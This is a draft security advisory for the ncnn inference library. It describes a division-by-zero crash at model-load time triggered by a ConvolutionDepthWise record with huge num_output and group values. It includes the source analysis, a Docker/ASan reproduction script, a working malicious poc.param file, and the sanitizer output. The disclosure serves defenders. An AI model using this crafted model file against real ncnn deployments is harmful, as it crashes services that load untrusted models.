All advisories
Draft

Zero-Channel Convolution Causes Model-Load DoS

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Zero-Channel Convolution Causes Model-Load DoS

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_im2col_gemm.h:3373 in convolution_im2col_gemm_get_optimal_tile_mnk
Sanitizer verdict: FPE on unknown address 0x5b42e67e02cd (pc 0x5b42e67e02cd bp 0x7ffc5dc845c0 sp 0x7ffc5dc84410 T0)

Summary

A ConvolutionDepthWise record whose num_output and group are both huge while weight_data_size is 1 makes ncnn build per-group convolutions with zero input channels. The x86 im2col GEMM tile solver then computes a tile count of zero and divides by it, killing the process with SIGFPE inside Net::load_model — before any inference is requested. The proof of concept uses ncnnoptimize, but the fault is in create_pipeline, so every x86 consumer that merely loads the model is affected.

Detail

The untrusted fields are parameter ids 0 (num_output), 6 (weight_data_size) and 7 (group) of a ConvolutionDepthWise record. ConvolutionDepthWise_x86::create_group_ops derives the channel count from them with a chain of integer divisions and then sizes the group-op vector to the raw group value:

// src/layer/x86/convolutiondepthwise_x86.cpp:139
int ConvolutionDepthWise_x86::create_group_ops(const Option& opt)
{
    // create Convolution op for each group
    const int maxk = kernel_w * kernel_h;
    int channels = (weight_data_size / group) / maxk / (num_output / group) * group;

    for (int i = 0; i < (int)group_ops.size(); i++)
        delete group_ops[i];

    group_ops.clear();

    const int channels_g = channels / group;
    const int num_output_g = num_output / group;

    group_ops.resize(group);

With weight_data_size == 1, group == num_output == 100000000 and maxk == 1, line 143 evaluates (1 / 100000000) / 1 / (100000000 / 100000000) * 100000000, which is 0 / 1 / 1 * 100000000 == 0. channels_g is therefore 0, and each sub-convolution is configured on line 176 with weight_data_size = maxk * channels_g * num_output_g = 0 while num_output_g = 1. group_ops.resize(group) on line 153 also commits 100 million pointers on the way there.

Inside the sub-convolution, src/layer/x86/convolution_x86.cpp:302 computes num_input = weight_data_size / kernel_size / num_output, i.e. 0, and line 472 passes it to convolution_im2col_gemm_transform_kernel, where K = inch * maxk is 0. The tile solver derives its tile count from K and then divides by it:

// src/layer/x86/convolution_im2col_gemm.h:3361
#if __AVX512F__
        TILE_K = std::max(16, tile_size / 16 * 16);
#elif __AVX__
        TILE_K = std::max(8, tile_size / 8 * 8);
#elif __SSE2__
        TILE_K = std::max(4, tile_size / 4 * 4);
#else
        TILE_K = std::max(2, tile_size / 2 * 2);
#endif

        int nn_K = (K + TILE_K - 1) / TILE_K;
#if __AVX512F__
        TILE_K = std::min(TILE_K, ((K + nn_K - 1) / nn_K + 15) / 16 * 16);

On an AVX-512 build TILE_K starts at std::max(16, ...), so nn_K = (0 + 16 - 1) / 16 is 0, and line 3373 evaluates (K + nn_K - 1) / nn_K — a division by zero. The path is reached from Net::load_model at src/net.cpp:2094 (layer->create_pipeline), which tools/ncnnoptimize.cpp:2797 invokes on the attacker-supplied .bin. Neither ConvolutionDepthWise::load_param nor create_group_ops verifies that the derived channel count is non-zero or that weight_data_size is consistent with num_output * group * maxk.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-zero-channel-convolution-causes-model-load-dos && cd ncnn-poc-zero-channel-convolution-causes-model-load-dos

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
1 1
ConvolutionDepthWise dw 0 1 out 0=100000000 1=1 6=1 7=100000000
EOF

head -c 8 /dev/zero > poc.bin

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x6172b0cbf2cd (pc 0x6172b0cbf2cd bp 0x7ffd74758d00 sp 0x7ffd74758b50 T0)
    #0 0x6172b0cbf2cd in convolution_im2col_gemm_get_optimal_tile_mnk /ncnn/src/layer/x86/convolution_im2col_gemm.h:3373
    #1 0x6172b0d13f66 in convolution_im2col_gemm_transform_kernel /ncnn/src/layer/x86/convolution_im2col_gemm.h:5514
    #2 0x6172b13c7734 in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:472
    #3 0x6172b55e2585 in ncnn::ConvolutionDepthWise_x86_avx512::create_group_ops(ncnn::Option const&) /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:228
    #4 0x6172b55d212a in ncnn::ConvolutionDepthWise_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:131
    #5 0x6172b05e6c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #6 0x6172b05e790a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #7 0x6172b05e7c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #8 0x6172b04facaf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #9 0x7b45906f61c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x7b45906f628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x6172b047a624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/x86/convolution_im2col_gemm.h:3373 in convolution_im2col_gemm_get_optimal_tile_mnk
==1==ABORTING

Credit

Zheng Yu @ DepthFirst